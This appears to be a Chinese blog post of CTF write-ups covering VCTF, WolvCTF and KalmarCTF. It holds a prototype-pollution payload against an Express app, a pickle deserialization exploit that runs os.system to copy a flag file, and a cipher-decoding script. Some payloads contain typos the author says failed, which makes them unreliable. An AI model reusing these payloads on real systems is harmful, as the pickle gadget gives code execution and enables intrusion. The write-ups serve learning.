VCTF
web
hackjs
就直接给了源码审计
const express = require('express')
const fs = require('fs')
var bodyParser = require('body-parser');
const app = express()
app.use(bodyParser.urlencoded({
extended: true
}));
app.use(bodyParser.json());
app.post('/plz', (req, res) => {
venom = req.body.venom
if (Object.keys(venom).length < 3 && venom.welcome == 159753) {
try {
if(venom.hasOwnProperty("text")){
res.send(venom.text)
}else{
res.send("no text detected")
}
} catch {
if (venom.text=="flag") {
let flag=fs.readFileSync("/flag");
res.send("Congratulations:"+flag);
} else {
res.end("Nothing here!")
}
}
} else {
res.end("happy game");
}
})
app.get('/',
function(req, res, next) {
res.send('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form> ');
});
app.listen(80, () => {
console.log(`listening at port 80`)
})
发现要满足venom.text满足=flag,这里就是要满足传参要求
1.welcome键值要为15973
2.text键值要存在
3.不超过三个键值
4.触发异常
这里很明显就是有个Node.js利用漏洞,我也马上想到了要利用__proto__进行构造
第一次我的构造是
//明显这只符合第一个
venom[welcome]=15973&venom.text=flag
//升级一下
venom[__proto__][text]=flag&wenom[welcome]=159753
发现得需要异常,这里就得看到
venom.hasOwnProperty("text")
这里触发异常就得把hasOwnProperty变成一个键值就能了
所以
venom[__proto__][text]=flag&venom[welcome]=159753&venmo[hashOwnProperty]=NYGis
这里的构造其实并不难,但是这里有个键值数量小于三是挺迷惑的,应该是用__proto__构造的这个传参是不会算的。。。。
但不知道为什么我放自己环境就不行,版本原因吗,有师傅知道嘛。。。做的时候放自己环境做没出就没试,看了别人wp才知道这样好像可以
为什么自己的不行应该是修复了
具体可以看 https://github.com/n8tz/CVE-2022-24999
学习wp
misc
checkin
具体解法看官方wp
https://github.com/ChaMd5Team/Venom-WP/tree/main/2024VenomCTF/2024_vctf_misc_checkin/writeup
reverse
ezre
作为逆向站门口选手,就比赛的时候看了下大致逻辑,也看出来是一个加密+换表base64,赛后跟着大佬wp摸索了一番,逐步理解了一下,这题还算简单。脚本就直接放大佬的,还是比较易懂的
https://ycznkvrmzo.feishu.cn/docx/CFV4dJV2GoL6mLxxJvNcgkFzn5e(原脚本wp)
from base64 import b64decode
def decode(s):
old_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
new_table = '0123456789XYZabcdefghijklABCDEFGHIJKLMNOPQRSTUVWmnopqrstuvwxyz+/='
t=''
for i in s:
t+=old_table[new_table.index(i)]
return b64decode(t)
def init(box, key):
for i in range(128):
box[i] = i
j = 0
for i in range(128):
j = (j + box[i] + key[i % len(key)]) & 0x7f
box[i], box[j] = box[j], box[i]
def crypt(box, input):
output = []
k = 0
for i in range(len(input)):
j = (i + 1) & 0x7f
k = (box[j] + k) & 0x7f
box[k], box[j] = box[j], box[k]
output.append(box[(box[j] + box[k]) & 0x7f] ^ input[i])
return bytes(output)
box = [0]*128
init(box,b'Thi5_1S_key?')
print(crypt(box, decode("3pn1Ek92hmAEg38EXMn99J9YBf8=")))
wolvctf
Web
The Gauntlet
看着说是web基础题,结果里面有10个关卡。。。
第一关header
第二关OPTIONS,
第三关GET方法
第四关POST方法
第五关脚本
第六关302跳转
第七关cookie
第八关jwt
Bean Cafe
看起来是上传MD5相同的两张照片,但是好像不行?
赛后看了wp就是上传MD5相同但图片不同的,比赛一直报400.。。
破案,这个换下上传图片位置就可以了。
KalmarCTF
web
File Store
开始目录穿越有点像
上传脚本
利用原理就是picke反序列化,但原因还是不知道为什么,覆盖原文件flask_session,但是为什么会执行picke不理解
还是看大佬的吧
https://ireland.re/posts/KalmarCTF_2024/
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ('cp /flag.txt /app/static/uploads/abcd.txt')
return os.system, (cmd,)
def generate_exploit():
payload = pickle.dumps(RCE(), 0)
return b"\x00"*4 + payload
with open("254b2716336df2553ce5c04a934d56e4", "wb") as f:
f.write(generate_exploit())
docker附件的部署环境
昨天想复现下web题目,发现还不会怎么使用docker,系统一下
本地下载docker环境,我电脑因为有vm虚拟机和电脑有冲突,就用linux进行下载,跟着别人搭好后,把含有docker的文件放到虚拟机里面,进入所在文件夹
cd file_store
docker-compose up -d
#假设你想要停止一个名为 my_container 的容器,你可以运行以下命令:
docker stop my_container
显示部署在5000端口更新…